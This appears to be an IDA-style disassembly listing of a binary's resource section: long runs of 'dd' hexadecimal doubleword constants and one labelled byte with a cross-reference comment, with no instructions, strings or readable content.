		dd 33466798h, 2146F778h, 0FB1377DAh, 883F017Eh,	0CDA71834h
		dd 7B14CF09h, 0CA481ED5h, 0A0104F76h, 586CA6B7h, 6BA3C612h
		dd 23F3DF9Ah, 0A0DD6603h, 23E5F242h, 0BBFF0BBCh, 0FFD5BA40h
		dd 0CF254423h, 0C8F5A5CFh, 0DF9E6892h, 515D9BB3h, 0CF9559h
		dd 0DC3F9C98h, 0BC04D28Bh, 7D65C796h, 16F4FBFBh, 1786ED0Dh
		dd 0AFC7472Ch, 32679EE6h, 9F277538h, 17DEAC88h,	0E84C8B81h
		dd 73226FF0h, 93C376BDh, 7A807BA1h, 7E0E3FADh, 0D17C8E02h
		dd 824A1D7Bh, 0E4E3A371h, 334925F2h, 0DDBC7155h, 9658EF8Ch
		dd 3D1CFA2Ch, 6557B7D5h, 0A6B67AA2h, 6C2C582Fh,	0ABCC04DBh
		dd 0E3FE836Fh, 10E45207h, 4CDC2899h, 3A218B50h,	0E733C8CCh
		dd 85221F16h, 96332B2Dh, 0DF952E59h, 1C8F577h, 0E4F87619h
		dd 23D631C6h, 1749CA8Ah, 9E4000E5h, 676D8B7Dh, 1947D0C6h
		dd 9263319Dh, 3E18073Dh, 0B323D7EEh, 5FC099DDh,	103D8E5Fh
		dd 0CE77F28Bh, 24FD6C03h, 0AFC759ACh, 71E49B1Fh, 72FA020Ch
		dd 0FC22C1C5h, 62E044A8h, 0C2604D12h, 0D1FE0792h, 0CFF1F8F0h
		dd 85F85831h, 40EED4F0h, 5931B47Ch, 2CAE5874h, 0F8C2B99Dh
		dd 7B39B5D4h, 6D4F331Eh, 5CE90FAEh, 0EE2734FDh,	1E9043D4h
		dd 372C5098h, 0F2C5CCB8h, 7AE0FBB0h, 673CAC29h,	0D80077D1h
		dd 74C42A43h, 0F066929Eh, 0F2F4A64Eh, 0EE24FE5Ch, 9398D969h
		dd 33709E23h, 0A18C9DB3h, 0D547D153h, 12DF0610h, 44B829A8h
		dd 71E6203Eh, 90F38FEDh, 38CEFF7Ch, 0F438CAE5h,	0D0B5428Bh
		dd 3E5902D5h, 65EDEEC4h, 0A466F5F8h, 96617E3Eh,	0FB86B65Dh
		dd 50AC7E68h, 97D984F0h, 0E58F2D32h, 9CFD2C5Ch,	0A4E5035Fh
		dd 43A87DFh, 3CBD9058h,	35D403EBh, 4E2EE22Ch, 0E859895Fh
		dd 0DA1C03DBh, 43CB5761h, 6E1A1169h, 32EACDE3h,	0CDBDCAF0h
		dd 5799A5C1h, 0E3CF572Ah, 23208B26h, 112B9238h,	0D49FFD61h
		dd 937C4392h, 2551B66Dh, 8A29BAA9h, 0EAEE4AD4h,	285277C9h
		dd 1B612219h, 5F6D7E76h, 0AF1EDDD4h, 94614669h,	0D56E334Dh
		dd 2C490754h, 0D6175603h, 30C915FBh, 0CAD854A3h, 51739140h
		dd 0F99A37Eh, 0A851B88h, 988385ECh, 5B340E9h, 339FA89Dh
		dd 0EACA2428h, 2BFA714Dh, 86824F62h, 0C52C107Fh, 0DAF68277h
		dd 500D1927h, 0B5A887C3h, 33D2DBFFh, 31E05263h,	0DE0A3B26h
		dd 3584D66Ah, 1F4DBD83h, 0FF6493E2h, 15107070h,	86A4FCA9h
		dd 0EB793129h, 0C1CD279h, 0DA739E5Eh, 6E328C5Fh, 9911CB58h
		dd 8D358232h, 7F3E2C94h, 46AD9F3Fh, 0B2DE49Fh, 2492DC8Dh
		dd 319026C3h, 0CAF709BCh, 97DF0037h, 0AF34F11Fh, 819B387Eh
		dd 0B6633295h, 0AAFED038h, 0A8E40573h, 456ED4ECh, 0FEC16FEBh
		dd 5B32BC63h, 63CF0C28h, 1820F748h, 78AD6F2Ch, 26C72F5Dh
		dd 130B0D0Ch, 20482AAAh, 23613E12h, 0A53D5C28h,	3638D524h
		dd 0D3E29B0Bh, 1C822735h, 80065966h, 0A0CAB755h, 0AC32E706h
		dd 960C9217h, 4A17FDA4h, 0D5991006h, 2ED05CCFh,	74CB31FFh
		dd 352043F4h, 4A83906Dh, 9B40866Ch, 3B98AA8Ch, 1B5A8096h
		dd 33F07824h, 2624BDE7h, 0A7B97B39h, 3573CD96h,	8D06A94Ah
		dd 33606C68h, 16A0DE7Bh, 44F4C05Dh, 0A928534Eh,	57286791h
		dd 0AAEB0795h, 87381228h, 3A555CFAh, 65CA4E8Eh,	3AC8D46Ah
		dd 0CCE136D2h, 0ADED1CBEh, 208645E9h, 7B09214Ah, 3131F3A3h
		dd 2B459F42h, 77329ADCh, 9CAD522Dh, 2260812Eh, 0E5F02F8Dh
		dd 0B676CE6Fh, 0DC494F0Ch, 3E0CF7E7h, 0AB17F788h, 30E961D2h
		dd 399BAFBCh, 0AF7FE775h, 396E96A8h, 0C50068C1h, 0C5D3D9F0h
		dd 0F36F8B18h, 528CC07Ch, 61171F3h, 496BCECDh, 0A8D2239Eh
		dd 58214872h, 0CB9445A0h, 0D4B99717h, 32F634C1h, 0D1F7E0B6h
		dd 88AB4E62h, 5F176E88h, 2D7D298Eh, 4FCF03CDh, 0F440F382h
		dd 477FCD93h, 430844B2h, 5B2C9586h, 1FB2AB2Ah, 0E1356688h
		dd 0E196A8A9h, 4113CBD6h, 41BC2294h, 4E93639Dh,	0A1796DA0h
		dd 13EF5417h, 37FCC4Eh,	4F58BF5Ch, 9FF39833h, 83C31671h
		dd 0ECE34Dh, 728912B1h,	7F195602h, 0DEBA6E63h, 0F4FA4430h
		dd 71543922h, 1109E53Bh, 44C6CB97h, 97AA66D2h, 52D2D83Ch
		dd 0C580B41Eh, 65A98284h, 20152125h, 50716A69h,	7323CD62h
		dd 2BACACF9h, 1DA1B3B8h, 98CF0AF1h, 1270A327h, 3B3A60F7h
		dd 992D00EBh, 8FD75536h, 0C9FAD717h, 91FC8FE6h,	2FF8F649h
		dd 0C01E3FA7h, 45ED6604h, 846F49B6h, 737B0BA8h,	97CF1211h
		dd 9F30E0BBh, 1BD10C4Eh, 0B6E5D848h, 0D6EA7ED7h, 88AE6970h
		dd 9540F266h, 27A91007h, 5BAC17B3h, 536BF6CFh, 9A745797h
		dd 61CCE70Ah, 0BB9F0126h, 8370B122h, 0AD4B86C8h, 67DBF98Fh
		dd 47033979h, 0A75E0B5Ah, 54B934FCh, 867532E5h,	0EB0269BCh
		dd 0FEC6FA41h, 7389AD9Ah, 0D870AEA6h, 0E097040Dh, 5E407E49h
		dd 52111244h, 58DC7396h, 0F9DD5398h, 3835C1DAh,	3E5D3EB5h
		dd 413CA31Dh, 218A1AB0h, 0B0565DE6h, 1C6B6359h,	219EC5BEh
		dd 7C4AC79Fh, 0D78ACAFAh, 1A8E6CA8h, 7BA9E9Eh, 0DC0499C6h
		dd 662A9245h, 7E134904h, 0BAE80EB4h, 0F20B201Fh, 0E0452478h
		dd 65F485E0h, 0C4DFBED6h, 0E695DB30h, 0C7054D91h, 6F63BC9Dh
		dd 0B60B467Fh, 6A4A3FEFh, 17BC7E8Ah, 42EF2357h,	3611BA74h
		dd 4534B38Bh, 7C180B3h,	3C26410h, 0C73AA195h, 95331E17h
		dd 9CF3CB00h, 283DE927h, 9AD0E7BEh, 85B7E7E5h, 0BD827181h
		dd 0BAB3E42Bh, 0EECECCA2h, 6E372439h, 0E55CE745h, 12EE784Eh
		dd 0CBC2D926h, 42A155DCh, 0E9F49A1Eh, 8C5317CBh, 0A33DF4F6h
		dd 3102AD6h, 0DA24547Ah, 0DEE0746Ch, 6466F673h,	0DB8AE7B6h
		dd 44A7531Eh, 153182D3h, 51F37269h, 0F0B2EE1Ah,	7737CD73h
		dd 4C0534D8h, 72CD9A5Fh, 733ADBF3h, 41EB8302h, 0B97600F4h
		dd 0F7DDC24h, 0BF8CF89Fh, 529ED66Eh, 0D187D801h, 0B69D47AEh
		dd 9C940AEDh, 684031CEh, 8957259Dh, 0C59959B2h,	808E00A5h
		dd 2CC8E3ADh, 0F3B56D2h, 2099F409h, 309658CCh, 3632B27Dh
		dd 0D92567E3h, 0E2FC41Dh, 371033C3h, 6A7CD535h,	0D8A2CE87h
		dd 245A7726h, 81BD78CAh, 452C46E3h, 0FBF3CBFh, 504027F4h
		dd 5B3EF213h, 3F45015Dh, 0EE53DFF2h, 2886246Dh,	60E47577h
		dd 6453854Ch, 7025545Fh, 0A1133E6Eh, 84A33CB9h,	0D3B7C4CCh
		dd 0C4E8865Ah, 0CBB9CF32h, 1C8C1C1Ch, 5C94F5CBh, 0A31F68A0h
		dd 3CA28791h, 3FE22058h, 558E7B84h, 0F6641D13h,	49C9FF58h
		dd 0ADE64A6Dh, 7EE74E37h
		dd 6493EFD5h, 87F7311h,	0FD4F80BEh, 3AF61C92h, 0B94ACD9Bh
		dd 4A7B92E6h, 0F5B14C0h, 4789FF44h, 0EF729D97h,	6D25BC6Fh
		dd 49C6E7E1h, 303FF8E7h, 5D112870h, 7F09B200h, 0C245283Eh
		dd 0ADAEEB41h, 0FF2507B6h, 69813275h, 0C8E37278h, 5A2AE25h
		dd 59E0DA37h, 49368DB4h, 325F8638h, 4F591622h, 6ABBA96Eh
		dd 61A55C09h, 64C364E9h, 0B48A91C3h, 0D8ED3E7h,	6AC6D47Bh
		dd 0EF46F3F9h, 569D9531h, 555128C4h, 198E2A98h,	0D2DD9D92h
		dd 3839FAA0h, 13B9478Ch, 573278h, 0E9C4C61Fh, 2CC97446h
		dd 59774D35h, 0D2ED2Ch,	0D6DDB4FDh, 146273Fh, 0B5D95849h
		dd 0F75815CCh, 0A4AA0381h, 0B4FCACCFh, 827249C7h, 4EECE01h
		dd 0DB4C88A1h, 43BAE931h, 0D0143C00h, 3BFA62A3h, 1175360h
		dd 2D2D658Eh, 1BC76A09h, 0BEC3C9FBh, 15385706h,	3FBC62E5h
		dd 53E4000Bh, 3701DDD3h, 0F8E8C146h, 5F4404ABh,	829D1BE6h
		dd 5331DA7Ch, 0BEDED6F4h, 0BB1A77ADh, 0D1235566h, 0F1A07F10h
		dd 0A009A664h, 77687ADCh, 34489DF0h, 0D50BABF6h, 96B42596h
		dd 0DD4308C5h, 0A369FD8Dh, 3CB56B34h, 0E6A8D609h, 0AA88483Ch
		dd 0F9649C51h, 1A7B8433h, 8E6A2823h, 0FAEA7570h, 0C1B04113h
		dd 15ADA73Eh, 1DB39DD5h, 78B5C168h, 0C0C3B460h,	632BE7BCh
		dd 0C0D8302Bh, 6794921Fh, 89890915h, 0E74F4E8Ch, 7FF3B50Fh
		dd 0B89D05A9h, 0B2778BF4h, 9A3B8CBh, 622A0F0Fh,	278FCF88h
		dd 0BB7172D7h, 9A66CBDEh, 678AEC0Ah, 814B4668h,	855F7EBFh
		dd 0BF7094BFh, 0E1537D55h, 5BB21BC4h, 940E34E4h, 0CF857DCAh
		dd 3F5DC1F5h, 0FE14AAF1h, 59FAD305h, 0D92150E1h, 0F670A7AEh
		dd 2315DEE2h, 9D084DB2h, 749D8855h, 0B3AB43EFh,	0A246F38Ah
		dd 7090741Dh, 8C32609Dh, 66A84F4Dh, 0B704BF75h,	82637728h
		dd 744DF46Fh, 59773168h, 0F09185A3h, 1F42D38Ch,	77239C2Ah
		dd 3BAAF782h, 0C3372C4Fh, 574C8AA1h, 0A7B6C4E8h, 4691873Ah
		dd 14ECB03Fh, 531771C2h, 0E8868F3Dh, 0F7290CADh, 0B7029F3Dh
		dd 0F4D94572h, 0A2EAACCFh, 0B4E73FFAh, 54E208EBh, 688304Bh
		dd 0AA6F9D1Dh, 6A462604h, 0E49A555Ah, 2F36B5F0h, 0DF71BF89h
		dd 2DABA6C5h, 6ED01F3Fh, 64CAB637h, 2A37755Dh, 4CFE6D4Dh
		dd 0F46BC7BBh, 83681265h, 431850D0h, 106E87DFh,	9DE33B26h
		dd 0C886EF01h, 25EB758Ah, 0F57C5138h, 0FCC35CAEh, 0B4DF1E6Fh
		dd 0AFC3ADC0h, 7E46531Dh, 3F00A4ACh, 24F52028h,	543A8074h
		dd 6F934EEFh, 0D8BDA25Ch, 9D6AFE7Ch, 0B2B30E67h, 0FE0C851Ch
		dd 0D1AE2A58h, 5B0E4F3h, 0A767ECBAh, 0B0685866h, 1838FEA3h
		dd 0B9357AEBh, 63714BBAh, 2FA70997h, 0CA696264h, 95FF4AF3h
		dd 0B2F78DFh, 0ED8288B6h, 563DD12Ah, 0C9DF27C2h, 15C29ABDh
		dd 10A9BE8Bh, 9C56D186h, 0D0C75135h, 45E7494h, 4AC14672h
		dd 5D485BECh, 1ADEEBC7h, 602AD1D3h, 52DFE5E1h, 9D214FC4h
		dd 257B64B7h, 399652D7h, 25AE7A0Bh, 302FB2D7h, 4DE979FEh
		dd 3F67BA2h, 0A380F6C3h, 8F8C5203h, 0D3290187h,	0BA4F780Bh
		dd 3FCBE59Bh, 0FBB4E372h, 0EA902D50h, 280699A5h, 0EC260124h
		dd 0D67AD350h, 0E5F1B1C9h, 0FC693F0Ch, 10FFCDDh, 0E6EE8BA3h
		dd 495BEFB5h, 0B917BCB2h, 0B608923Ah, 0CE71F05h, 85F5C553h
		dd 99DF41E0h, 0DDE670C1h, 69C25097h, 2BB33664h,	21C09DFCh
		dd 5D6A3121h, 501302CEh, 0BDD3C415h, 15E717D5h,	51D4C59h
		dd 9B611304h, 10DFA04h,	4B208720h, 0DD3D9DCEh, 5780F52Dh
		dd 0EEF4A19Dh, 9D410AA1h, 36F77F5h, 66AC0BF0h, 4BDA62DFh
		dd 0A1612563h, 0CAAA211h, 0BAC253D1h, 7E6DFF5Ch, 3DAB74Dh
		dd 7FD9C2D1h, 0A2A601C2h, 0A59973BEh, 76F01EABh, 67D82096h
		dd 3D50DF18h, 6A72B734h, 7494792Bh, 0F156A3B8h,	968DA95Dh
		dd 0C9C3FB8Ah, 0E7D86CF2h, 4FC92A79h, 0B2761ADDh, 71F0E18Ch
		dd 749301CEh, 0BFE77628h, 0C1A36689h, 3E6A19B1h, 4798DE67h
		dd 0A0BDE7FBh, 0E599FC7Dh, 34C721A5h, 2D8F5545h, 0C2536986h
		dd 0CDA8CE0Ah, 431EED90h, 47E87C82h, 646D445h, 0D017CBA6h
		dd 82F8DAF0h, 0CC689DBEh, 0FCF8311Dh, 1934670Dh, 0CFF4CFB1h
		dd 0DB7D2ECDh, 30E3593Ah, 0D2B90FB7h, 9C5FFEA7h, 7889CBD8h
		dd 0C2F3D204h, 8557541Ah, 1C22738Dh, 0E97C5C62h, 3D0AB16Bh
		dd 36BECD49h, 0F9B411E1h, 2F679A54h, 0DA5EDB3Ch, 91B57C69h
		dd 51012927h, 8B508D8Fh, 0D43D0554h, 0CC206140h, 0D9AEA50Fh
		dd 1E4CA4D6h, 6A888504h, 93F0B19Ah, 440C91D0h, 17729AA5h
		dd 0AF83E6B4h, 0B8ACEF93h, 8FFED2CAh, 4CE37FD6h, 2FA57D16h
		dd 449C52ACh, 7143744Eh, 0C1E0BF32h, 175F2985h,	0C5314900h
		dd 0DDF8B9D7h, 60CB2755h, 0D546CF57h, 0A023527Dh, 776FE253h
		dd 2A67A72Dh, 8AF9D51Fh, 6F3B4F85h, 0BA7BDD45h,	7283BD09h
		dd 6A924068h, 868619C7h, 161DEF64h, 0C84A5FFFh,	2309D9CCh
		dd 7A77DAD6h, 0CEDB8AC4h, 0CAD5A7F4h, 24BC31D8h, 7245D7D4h
		dd 0EB822759h, 0FCF08490h, 2272E4CDh, 2E0BC5FCh, 5776916Bh
		dd 0F64775D7h, 418CD111h, 0CA8891DCh, 0B9BB9EB7h, 50172D0Ch
		dd 0F8BB6C77h, 0F6E87DD5h, 418B3421h, 0F85440C5h, 57C52254h
		dd 0A59E1658h, 0EEF1F065h, 627A6440h, 0CE96FC79h, 0B66DC7F0h
		dd 7E3A8AA5h, 55F23B27h, 8C560F3Fh, 0B5133107h,	0EE8D28E3h
		dd 2812DBBDh, 4020B580h, 1088188Bh, 0DE937823h,	501BC2CFh
		dd 1FF504DFh, 35547CD6h, 0C3F5FF2Bh, 44BC85FAh,	0CFF7B108h
		dd 93A32288h, 0C8220F89h, 94EEAF2Fh, 0A8557AD7h, 86184044h
		dd 5DF844D2h, 1A80472Ch, 96535CF1h, 96761F7h, 9F17029Ch
		dd 0A43CFCAFh, 0AA5BC233h, 0CE7561FEh, 8F2D2C0h, 7086F094h
		dd 0B7DF55CDh, 62DBB3FAh, 44226182h, 0A9942004h, 6340FF57h
		dd 0CFF14800h, 0E3BA36AFh, 0ABF7FF0h, 0BC6103A1h, 0EF99D692h
		dd 63888D33h, 50DFF4EDh, 2DF78933h, 84604344h, 7AC87CB6h
		dd 0E4C6F67Eh, 0A0E5E5D1h, 96A23F04h, 0F7328A3Bh, 0E7A92868h
		dd 1453F5Ah, 9374A32Bh,	0EF7E671Ah, 99E4E658h, 0C91AF8B6h
		dd 0C5F13766h, 0BD7A19DFh, 4257E251h, 0EE1A1FA0h, 83B2F067h
		dd 11C79385h, 0CDB791B9h, 0B82C4A60h, 985C4C77h, 0C8A9436Fh
		dd 78F7BE60h, 0DBCB9F62h, 2CA7978Eh, 0A799988Eh, 0B522247Fh
		dd 6C7C0455h, 5626DD6Ch, 0E595E8BFh, 0C1EB6DDDh, 0CBA5390Eh
		dd 11D0D146h, 0A4F02954h, 620BBCA9h, 0E68EBC81h, 545DE612h
		dd 472230EBh, 5E279273h, 7DB11C3h, 63A34E2Bh, 1DED23A5h
		dd 9058902Fh, 86964CE2h, 5227F167h, 0D2BCE3ECh,	0E1BE60C5h
		dd 696764A9h, 95C844F0h, 208B4663h, 6D1D37D0h, 0D412E35Dh
		dd 27BEA2EEh, 71731B59h, 5B3D3065h, 1F5404F3h, 0CB37DB1Ah
		dd 0A46A95F9h, 5A33E60Dh, 0D162CC89h, 88F3CEA6h, 1A2BEFC6h
		dd 560F298Dh, 0ED1F3760h, 97424C38h, 0D1099182h, 0BF0EFE5h
		dd 0DD7C27BAh, 0FE7C114Ah, 7BA343D0h, 0BF641871h, 70984718h
		dd 25D7CAA2h, 0AF2F182Ah
		db 16h,	6, 0E9h
byte_430003	db 0ECh			; DATA XREF: .rsrc:0040C088o
		dd 0D3D33B5Dh, 62662C62h, 139EDEFEh, 9DCDB21Ch,	0E433FD11h
		dd 36D84451h, 316B1B7Ah, 0B53E19BFh, 3DD04DADh,	0F2366A7Eh
		dd 8EEC360Dh, 95AD5Fh, 8584A2D0h, 54599D61h, 70D2E8B1h
		dd 0F660CD3Ah, 2DF0C357h, 0EF7564F5h, 4AB9D558h, 21026303h
		dd 942E65A8h, 528AB08Dh, 0A70583B5h, 0C8491ECh,	0C2AAB8BBh
		dd 4840A6C6h, 0E854DB14h, 0D671AD29h, 403B2147h, 0ADB32775h
		dd 93EC02E4h, 0B33454A1h, 288579E5h, 0E7A7A96Eh, 935C3BE2h
		dd 0AC899CD4h, 53BD5A5h, 788739F5h, 0A2E0A4ACh,	0AE48ED5Eh
		dd 0F1BAAFF1h, 344160EAh, 0C607B581h, 888C8A72h, 915F48B5h
		dd 0B5EA4890h, 0F328C131h, 7455C3Ah, 280102Dh, 7934B263h
		dd 751F2469h, 0D64A94E6h, 77AB74Dh, 0A93AB958h,	439371B2h
		dd 0BC8C14B7h, 3CF54909h, 0A4B15501h, 0FB4A3BF5h, 0D0D671AAh
		dd 0AE48EE5h, 6BE226Fh,	0EBE7CC54h, 9118F15Ch, 0BCFDD4D1h
		dd 9B87A8A8h, 0EBDE8C96h, 8E5FED8Dh, 988DE73Bh,	71F78960h
		dd 2CD43CDBh, 6E93C5BBh, 8589D209h, 0D92F288h, 41B21778h
		dd 0A3D1A49Ch, 0B4495BFDh, 2FB7A37Dh, 21334C03h, 0F4B78476h
		dd 5C2F2A34h, 43BB6781h, 8AFA276Eh, 5ED97FA5h, 88CF1100h
		dd 0B46E1F99h, 3BE6FC10h, 37D5AD50h, 0D4A5386Ah, 5BFEA39Ch
		dd 0C1581A68h, 7D23EE8Ah, 0ABA9D344h, 1195A7BAh, 512465ECh
		dd 0F5426A0Bh, 0A4E1CC4Ah, 0F93F0A3Fh, 48FB59A3h, 35551090h
		dd 2AB4E092h, 36EC1792h, 0F032FB9Eh, 6C5F7963h,	87C7C732h
		dd 27C82F7Eh, 0B261D78Dh, 5B7F7DB2h, 87CAB11Ch,	0F4B050FDh
		dd 53BEE6C3h, 740C596Dh, 7F4B2C83h, 0A827EA29h,	896E6A4Fh
		dd 3E2F6CB1h, 17FC889Ah, 5AFFB1F5h, 0CB35CBBDh,	0BB740F78h
		dd 0D3B8975Ch, 917F62B6h, 94435F03h, 0E69C693Ch, 0FFCB875Ah
		dd 0D763E3E5h, 22852016h, 0BB73209Fh, 92C69D0Ch, 1BBE6B58h
		dd 0A68FB15Bh, 3A1BFECh, 0A45C98B7h, 0CA4317DBh, 0B9F5B6Fh
		dd 0C9FCA08Bh, 0C4ADA0BAh, 0F33CBF9h, 9A24F84Fh, 0A200958Fh
		dd 9C354DF5h, 85138262h, 4322E675h, 0AB718C34h,	22E6D65Fh
		dd 3FEF9E05h, 0C7EB3486h, 0B6D64352h, 75994473h, 1FAF4E71h
		dd 63A4791Eh, 139A75AAh, 0A3061435h, 0BB3AD763h, 3F8BA4E9h
		dd 549B5F28h, 0AAD3C6C6h, 0FE260B81h, 4B93C0E9h, 0A47BA384h
		dd 976B73A7h, 924E597Fh, 4D53E349h, 0C1362C32h,	0AE8D721Ch
		dd 690C6F2Bh, 0B15E0B23h, 0F882A339h, 360D6B03h, 71FC0E70h
		dd 0E2AF8F20h, 65FB0C40h, 921FAB82h, 0A18C4173h, 37C6716Fh
		dd 0B440FBDDh, 656A54F6h, 2285D060h, 0E37FD5DBh, 70E2F528h
		dd 9CC8001Eh, 68FCC9E2h, 1D52A86h, 8F393E8Dh, 0AF2CA4B5h
		dd 0D74173A8h, 0F8D34A46h, 0BA9F9C5Eh, 9D914332h, 7C7698C8h
		dd 0B2E3610Dh, 0F16FB1EAh, 9E342DC8h, 3469D48Ch, 7320267Bh
		dd 3CB335B7h, 5B1ABC8Ch, 0E69379DEh, 77FD9C7Fh,	16FBC58Fh
		dd 9A18A4F5h, 90946309h, 0D2A9A194h, 279DAE0Ch,	44A9F67Bh
		dd 5CFA7151h, 45FF01A0h, 73A274EFh, 8D6CCFCFh, 1A95B91Ah
		dd 0EA848FD2h, 25F2E9B9h, 9C794D51h, 0AE134DFh,	709C9C74h
		dd 70A35FB6h, 4B01341Dh, 99967B94h, 1D7C96ECh, 88278725h
		dd 0F2029018h, 0A7068C78h, 95B5A936h, 0C3176625h, 14DB1340h
		dd 228DFB25h, 0F5271BFh, 2CD92907h, 24207F99h, 3A9E866Dh
		dd 5AD9AC95h, 6FA0A9EEh, 0BC465278h, 0B635F58Ah, 713EA389h
		dd 97059AB9h, 0D933CD86h, 92E8CB9Ch, 0B90F9D28h, 0F5402464h
		dd 7818DC8Eh, 0F346CABAh, 77E4B2A8h, 2CE01CF5h,	590B8B20h
		dd 591690D1h, 0F7BE3EA6h, 0F80830C9h, 173F28A9h, 0BD0A65C5h
		dd 5681C7C7h, 3E829D96h, 0AA5AF642h, 0D3865647h, 0E162EBBCh
		dd 801B1FD7h, 85F31548h, 9F681C17h, 2969C54Bh, 79A4AD2Fh
		dd 6A8DD75Dh, 844D0990h, 3C230710h, 1B3A555h, 377C7A75h
		dd 35A0358Ah, 9169DDD4h, 0AE69B50Ch, 0A33A4605h, 3CDE13F7h
		dd 73A79D85h, 877AE3FCh, 2E97CF92h, 98B27543h, 0D6D4D333h
		dd 5666A29Bh, 0A34D1899h, 17F36F55h, 0FD8287C2h, 0A5B0C9AFh
		dd 0C6830661h, 15FCFF3Fh, 538B29F2h, 2922DA8Dh,	0F91B9342h
		dd 0C1B60EC8h, 61693C21h, 40081DA5h, 0F9F6619Fh, 0A35DB018h
		dd 45583516h, 6F74411Bh, 0C3FD15BEh, 49F592h, 91FF5395h
		dd 5CF26E5Ah, 8AC0E72Ch, 584CF7ACh, 0BB363676h,	0D6F20E01h
		dd 52384762h, 11206111h, 0C30C5BF2h, 0E72AFB12h, 0FE458673h
		dd 66709D6Fh, 125161E6h, 8EB136D9h, 634DC354h, 0A626ACC4h
		dd 34A07FECh, 0C67115FBh, 13DB0F44h, 34712E2Ch,	0B2AA7EC4h
		dd 754925E0h, 7CF3E79Eh, 0A553E36Ah, 0CE8D44FDh, 0B15CD567h
		dd 71E79DCFh, 0A88677ACh, 85772ADCh, 0E75FD869h, 0F5E50E91h
		dd 0F0AD6CB4h, 0AEE14477h, 763CF3ACh, 6207E0D2h, 0F8B3DCE3h
		dd 5CD10A70h, 43D3C7EDh, 29169C54h, 70026499h, 0C3B48FCBh
		dd 9BD23B2Dh, 0C33E859Ah, 3684841h, 44A7D8C8h, 2D304B1Eh
		dd 6FA49BE4h, 9193BF45h, 7B8BB135h, 0FF6AA61Bh,	94064E0Ch
		dd 1EC23CA5h, 68168218h, 0DA4C7737h, 8C5E2DB2h,	0D4CDC00Fh
		dd 0CFD9B9A5h, 0E6A3B676h, 608B7E43h, 5C4F64C3h, 3168C32Ah
		dd 5EE6A599h, 31500588h, 5DDFE75Ah, 4D2C7F7Dh, 341D1790h
		dd 5C48D248h, 67244900h, 0EBED3B4Fh, 4B67FD7h, 0D4A8B383h
		dd 0F4CE36C3h, 0F72D8F7h, 0AFC01CA0h, 722EB14Dh, 62BD4790h
		dd 9EECAB8Fh, 97C1D34Ah, 2E21FEBAh, 0C4AD5239h,	9D73C4D6h
		dd 8535A778h, 7B096B90h, 0D44CA2CFh, 0DA467CBBh, 16687A2Fh
		dd 230CF25Ch, 5E6824A5h, 9E971138h, 0FE41DF82h,	0CA2EBB7Ch
		dd 41F347C0h, 0D0A416DDh, 1CD8CACh, 7FCCFEC2h, 787CE37Eh
		dd 96C70DD9h, 2DC43977h, 0B85E8EF0h, 17995530h,	0EBBD05CBh
		dd 0D7F3F495h, 0F46413E1h, 74132377h, 0D0C44715h, 8AA80596h
		dd 0A5EEBA46h, 211BA1F6h, 63E6A78Dh, 1ADC4007h,	0AF518611h
		dd 0E7442118h, 94B2C01h, 0EDF331FCh, 0E0687738h, 383ABC93h
		dd 84B41AF6h, 0E064C76Fh, 9599859Bh, 85F39814h,	0FA38DE05h
		dd 0E77E26CCh, 87889F1h, 0EED282AEh, 299DF43Ah,	1FBF6FE7h
		dd 82041C74h, 526E80B9h, 0E405F37Fh, 0D23D9709h, 1B37E145h
		dd 37C1B6F1h, 5FC97585h, 0EB1C7989h, 6A75546Dh,	0C0F7AAC4h
		dd 733BC78Eh, 0B08F678Bh, 0FE2FC043h, 4A5508B3h, 15EDE405h
		dd 0B64FBA94h, 7125C920h, 90BA47D7h, 72AE9466h,	0B3F193A8h
		dd 85A2AB72h, 445BCA50h, 40D10724h, 968B7910h, 0F026E3B9h
		dd 9E470A66h, 0E42D6965h, 0C5A5F0AAh, 7AA9A77Bh, 0D741A379h
		dd 1D118B38h, 1ED1B201h, 0C3D824AFh, 0DA1ABF71h, 3731A716h
		dd 0EDF810D3h, 37776B21h, 0F106EF35h, 0B2D35133h, 50AD71h
		dd 0CAD7D62Eh, 2337641Fh, 6CFB6037h, 83D847B2h,	4C40E6BDh
		dd 126839EEh, 6D05EE18h, 0F55A5756h, 1BCADE2Bh,	0F763DF6Dh
		dd 97A04A0Ah, 6ECB0054h, 0B75548CEh, 0AE16602h,	57F1D2C4h
		dd 0FD0FF735h, 0FAE90C9Fh, 859F05ECh, 0B38C1C31h, 90F20B1Ch
		dd 0ED6567E5h, 0F915C04Dh, 8BFB0546h, 19242F81h, 0D8B89057h
		dd 9FD50442h, 3958D24h,	8929B925h, 5B92CC65h, 4111F292h
		dd 0B341C342h, 9EFED834h, 5DF6B54Dh, 0EFDC5554h, 8E74E3D9h
		dd 4829AD3Eh, 0F61E2ADBh, 8120146Bh, 0E14D2D92h, 4F325BE1h
		dd 0BD62637Ah, 3CFAB0Eh, 95220C6Ah, 0A3E4D79Eh,	834FDA15h
		dd 7AC94225h, 0B39AD5C5h, 23C56107h, 0BEBA0E9Dh, 0E04E1934h
		dd 197DC88Bh, 6138D71Eh
		dd 0D0505E94h, 39D7740Bh, 8316CEB7h, 0DF6B16BBh, 8C3A51Eh
		dd 43937E71h, 6831C28Bh, 9EE2DCCBh, 0C31B2B2Ah,	0F2C91CA1h
		dd 4E502C50h, 0E52F2790h, 15D890ABh, 642E0925h,	7D0AA68Fh
		dd 42BFE0ABh, 9E2CE234h, 0C50625A4h, 88333F54h,	0A7B92F25h
		dd 6CA4D7C2h, 51FE9158h, 19BE4C9h, 4073C993h, 66631737h
		dd 3A81916Fh, 57FD0C2Ah, 56F58EF7h, 87241DB7h, 34E92C74h
		dd 0D75B8E12h, 923F7C5h, 6C89FF8Ch, 0BDC745E7h,	2073EB2Dh
		dd 0E445E016h, 0DD1D4663h, 0A8A61CFBh, 1AFD96B9h, 0A1DBE2B8h
		dd 0C87B228Bh, 198FD705h, 25A5D50h, 8AFEE26Eh, 1EE6BECBh
		dd 53EBF896h, 5E2FE7C6h, 8132629Dh, 0BC91084Ch,	3EE4F580h
		dd 0C1D9F5ACh, 0CFE28E16h, 1FBB7ED8h, 5DD666BBh, 74B2FC22h
		dd 90D2844Bh, 0E8E99C96h, 2E4B8F07h, 89D39D5Fh,	211383E6h
		dd 0F6C05925h, 0CE8AA99Dh, 7B75E5BEh, 27495512h, 849DC22Dh
		dd 0E3BE8396h, 69481344h, 0C38D9107h, 0F44DD1FCh, 0C5CE2251h
		dd 3EE44278h, 34AB96C5h, 0A73BC04Ah, 0DC600B27h, 9781952Dh
		dd 4CD6CD59h, 96EF3243h, 0B6C538B0h, 744C7B3Bh,	0F75B9D3Ch
		dd 7F25A44Dh, 7A7CAD8Ah, 9177DA11h, 73DC7CBAh, 3063D3A8h
